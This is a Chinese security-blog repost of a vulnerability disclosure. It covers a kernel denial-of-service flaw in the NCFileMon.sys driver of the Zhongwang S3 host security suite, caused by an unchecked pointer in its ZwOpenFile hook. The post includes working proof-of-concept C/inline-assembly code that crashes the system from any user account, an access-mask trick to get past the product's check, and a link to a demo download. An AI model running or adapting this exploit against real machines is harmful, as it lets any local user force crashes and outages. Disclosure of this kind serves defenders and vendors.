中网S3主机安全系统2008版本3.5.0.2(及以下)多处内核拒绝服务漏洞 's

admin 2017年4月27日04:31:07评论307 views字数 1152阅读3分50秒阅读模式
摘要

作者:MJ0011中网S3是一款号称4D & 4M齐全的防火墙、HIDS/HIPS软件其最新版本3.5.0.2及以下所有版本的驱动程序存在多出内核拒绝服务漏洞,可使任何权限用户在安装了中网S3的系统上引发蓝屏

作者:MJ0011

中网S3是一款号称4D & 4M齐全的防火墙、HIDS/HIPS软件

其最新版本3.5.0.2及以下所有版本的驱动程序存在多出内核拒绝服务漏洞,可使任何权限用户在安装了中网S3的系统上引发蓝屏

出问题的组件(已验证版本):NCFileMon.sys ,版本:5.2.3700.0(囧) , CheckSum = 0x00036d61,TimeStamp = 0x46f774e2

驱动中对于SSDT部分函数的inline hook存在参数检查不严格的问题,用户态传入错误参数即可导致驱动出错,引发系统崩溃,蓝屏重启。

示例函数: hk_ZwOpenFile

验证版本函数偏移量:0x97f6

ZwOpenFile的原型是:

NTSTATUS
ZwOpenFile(
__out PHANDLE FileHandle,
__in ACCESS_MASK DesiredAccess,
__in POBJECT_ATTRIBUTES ObjectAttributes,
__out PIO_STATUS_BLOCK IoStatusBlock,
__in ULONG ShareAccess,
__in ULONG OpenOptions
)

该HOOK函数对于第三个参数 ObjectAttributes->ObjectName->Buffer未作有效性验证,只判断了是否为空。另外,由于该HOOK函数体 内有结构化异常处理,但是该处理机制只对用户模式地址访问异常有效,因此我们构造错误的内核地址参数,即可引发蓝屏

测试代码:

HMODULE hlib = LoadLibrary(“ntdll.dll”);
PVOID p = GetProcAddress(hlib , “ZwOpenFile”);

OBJECT_ATTRIBUTES oba ;
UNICODE_STRING strname ;
strname.Buffer = (PWSTR)0x80000000 ;

oba.ObjectName = &strname ;

IO_STATUS_BLOCK iosb ;
HANDLE hfile ;

__asm{

push 0
push 0
lea eax , iosb
push eax
lea eax,oba
push eax
push 0x40000000 //set access mask to bypass S3 ‘s check
lea eax,hfile
push eax
call p

}

用户态任意权限的程序运行此代码后,即可引发系统蓝屏重启

测试程序下载:http://mj0011.ys168.com ,漏洞演示目录下 :BSOD_ncS3.rar

另外,S3中验证缓存有效性的方法存在一定问题,虽然较难由用户态主动触发,但有一定引发蓝屏的几率,另外,其校验方法也比正规的参数校验方法消耗更多的CPU时间,因此安装了中网S3主机安全系统的机器可能会有较大程度的非必要性能降低

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月27日04:31:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中网S3主机安全系统2008版本3.5.0.2(及以下)多处内核拒绝服务漏洞 'shttps://cn-sec.com/archives/45636.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息